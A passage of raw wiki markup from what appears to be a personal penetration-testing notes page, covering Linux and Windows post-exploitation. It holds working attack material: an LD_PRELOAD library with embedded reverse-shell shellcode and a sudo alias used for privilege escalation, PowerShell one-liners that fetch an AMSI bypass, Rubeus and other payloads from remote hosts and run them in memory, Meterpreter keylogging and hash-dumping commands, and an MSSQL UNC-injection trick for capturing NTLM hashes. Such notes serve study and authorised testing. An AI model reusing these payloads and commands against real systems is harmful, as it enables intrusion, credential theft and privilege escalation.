// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
